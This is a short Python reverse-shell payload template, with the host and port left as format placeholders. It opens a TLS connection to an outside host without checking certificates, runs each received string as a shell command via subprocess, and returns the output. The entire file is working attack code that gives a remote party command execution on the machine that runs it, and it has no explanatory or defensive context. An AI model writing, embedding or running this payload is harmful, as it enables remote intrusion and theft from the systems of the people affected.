import socket
import subprocess
import ssl
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('%s', %d))
sslsock = ssl.wrap_socket(s, cert_reqs=ssl.CERT_NONE)
while 1:
    data = sslsock.recv(1024).decode('UTF-8')
    if data == 'exit\n':
        break
    if len(data) > 0:
        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        sslsock.send(proc.stdout.read() + proc.stderr.read())
sslsock.close()
